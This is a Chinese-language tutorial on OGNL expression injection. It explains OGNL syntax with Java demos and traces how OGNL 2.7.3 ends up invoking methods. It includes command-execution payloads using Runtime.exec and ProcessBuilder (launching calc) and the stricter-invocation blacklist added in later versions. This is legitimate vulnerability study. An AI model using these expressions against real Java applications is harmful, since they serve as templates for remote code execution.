目录
参考
https://boogipop.com/2023/04/25/Struct2%20OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
一文读懂OGNL漏洞 - 先知社区 (aliyun.com)
Java安全学习—表达式注入 - FreeBuf网络安全行业门户
OGNL基础
OGNL三要素
expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作; root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作; context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。
demo
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class OGNL {
public static void main(String[] args) throws OgnlException {
Tester tester = new Tester();
User gkjzjh146 = new User("gkjzjh", "146");
tester.setUser(gkjzjh146);
//创建contex、设置root
OgnlContext context=new OgnlContext();
context.setRoot(tester);
//设置表达式
String expression="user.name";
//解析表达式
Object ognl= Ognl.parseExpression(expression);
//调用获取值
Object value = Ognl.getValue(ognl, context, context.getRoot());
System.out.println(value);
}
}
public class Tester {
public User user;
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
}
public class User {
public String name;
public String age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
public User() {
}
public User(String name, String age) {
this.name = name;
this.age = age;
}
}
运行上述代码即可获取Tester.user.name
的值,注意是.user.name
的值,上述我们是创建了一个tester,并且让他的user属性为一个User对象,表达式为user.name
也就是获取tester的user属性的name属性。
OGNL语法
.
操作符
就和上面第一个demo的作用一样,用于调用对象的属性和方法user.name
;
且上一个节点的结果作为下一个节点的上下文,如
(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))
也可以换成逗号
(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))
它把前面表达式当作结果给后面表达式执行了
这里需要注意一下#前我们用括号包裹起来了,这是要符合语法
如果去掉括号就会报错
@操作符
@
操作符:用于调用静态属性、静态方法、静态变量,如上述的@java.lang.Runtime@getRuntime().exec
#操作符
用于调用非root对象
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class OGNL {
public static void main(String[] args) throws OgnlException {
Tester tester = new Tester();
User gkjzjh146 = new User("gkjzjh", "146");
tester.setUser(gkjzjh146);
//创建contex、设置root
OgnlContext context=new OgnlContext();
//context.setRoot(tester);
context.put("user",gkjzjh146);
//设置表达式
//String expression="(#a=new java.lang.String(\"calc\")).(@java.lang.Runtime@getRuntime().exec(#a))";
String expression="#user.name";
//解析表达式
Object ognl= Ognl.parseExpression(expression);
//调用获取值
Object value = Ognl.getValue(ognl, context, context.getRoot());
System.out.println(value);
}
}
我们不加#
也是会报错的
因为它不是根对象
用于创建Map
#{"name": "gkjzjh146", "level": "caicai"}
用于定义变量
一开始的例子#a=new java.lang.String("calc")
,定义了一个字符串常量
%操作符
%
符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
%{hacker.name}
$操作符
$
在配置文件中引用OGNL表达式。
${name}
集合表达式
new
创建实例:
new java.lang.String("testnew")
{}
和[]
的用法:
在OGNL中,可以用{}
或者它的组合来创建列表、数组和map,[]
可以获取下标元素。
创建list:{value1,value2...}
{1,3,5}[1]
创建数组:new type[]{value1,value2...}
new int[]{1,3,5}[0]
创建map:#{key:value,key1:value1...}
#{"name":"xiaoming","school":"tsinghua"}["school"]
投影与选择
**投影:**选出集合当中的相同属性组合成一个新的集合。语法为 collection.{XXX},XXX 就是集合中每个元素的公共属性。 **选择:**选择就是选择出集合当中符合条件的元素组合成新的集合。语法为 collection.{Y XXX},其中 Y 是一个选择操作符,XXX 是选择用的逻辑表达式。选择操作符有 3 种: **? :**选择满足条件的所有元素 **^:**选择满足条件的第一个元素 **$:**选择满足条件的最后一个元素
User p1 = new User("name1", 11);
User p2 = new User("name2", 22);
User p3 = new User("name3", 33);
User p4 = new User("name4", 44);
Map<String, Object> context = new HashMap<String, Object>();
ArrayList<User> list = new ArrayList<User>();
list.add(p1);
list.add(p2);
list.add(p3);
list.add(p4);
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list));
// [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));
// [11-name1, 22-name2, 33-name3, 44-name4]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null), User(name=name4, age=44, address=null)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));
// [User(name=name3, age=33, address=null)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));
// [User(name=name4, age=44, address=null)]
OGNL命令执行
@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
OGNL低版本(2.7.3)
<dependencies>
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>2.7.3</version>
</dependency>
</dependencies>
import ognl.Ognl;
import ognl.OgnlContext;
public class ognlexp {
public static void main(String[] args) throws Exception {
// 创建一个 OGNL 上下文对象.
OgnlContext ognlContext = new OgnlContext();
// 触发 getValue.
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", ognlContext, ognlContext.getRoot());
// 触发 setValue.
//Ognl.setValue(Runtime.getRuntime().exec("calc"), ognlContext, ognlContext.getRoot());
}
}
下面调试分析
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());
Ognl.getValue()处理表达式时,会先生成一个tree,这个tree本质是SimpleNode实例,树的每个节点都是一个ASTChain实例,ASTChain继承自SimpleNode。
当调用node.getValue(ognlContext, root);
时,会调用SimpleNode.getValue()
进行处理,SimpleNode.getValue()
会通过SimpleNode.evaluateGetValueBody()
计算结果
SimpleNode.evaluateGetValueBody()
在计算非常量情况的结果时会调用子类的getValueBody,Ognl在处理节点时分为多种情况进行处理:ASTChain、ASTConst、ASTCtor、ASTInstanceof、ASTList、ASTMethod、ASTStaticField、ASTStaticMethod等。
首先这里最开始是一个ASTChain @java.lang.Runtime@getRuntime().exec("calc")
,ASTChain.getValueBody()
在处理时,会迭代调用getValue处理子节点的结果,最终还是会调用ASTXXX方法处理节点的结果。
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object result = source;
int i = 0;
// 迭代处理字子节点的结果
for(int ilast = this._children.length - 1; i <= ilast; ++i) {
boolean handled = false;
......
if (!handled) {
// 调用子节点的getValue方法处理
result = this._children[i].getValue(context, result);
}
}
return result;
}
当Ognl计算@java.lang.Runtime@getRuntime()
时,由于方法是静态方法会调用ASTStaticMethod.getValueBody
。ASTStaticMethod.getValueBody
通过OgnlRuntime.callStaticMethod
处理方法的调用。
通过OgnlRuntime.callAppropriateMethod()
处理方法调用,最终会调用Method.invoke()
进行方法调用并返回值。
调用栈:
getValueBody:92, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValueBody:141, ASTChain (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:494, Ognl (ognl)
getValue:596, Ognl (ognl)
getValue:566, Ognl (ognl)
main:13, ognlexp
Ognl 3.2.18测试
Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测,会导致上面的实验失败,提示cannot be called from within OGNL invokeMethod() under stricter invocation mode
,在使用StricterInvocation模式下不允许执行java.lang.Runtime.getRuntime()
。
对比上面2.7.3版本,在OgnlRuntime.invokeMethod
中,添加了黑名单判断,当命中黑名单会出现报错:ClassResolver
、MethodAccessor
、MemberAccess
、OgnlContext
、Runtime
、ClassLoader
、ProcessBuilder
等。
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}
......
result = invokeMethodInsideSandbox(target, method, argsArray);
}
return result;
}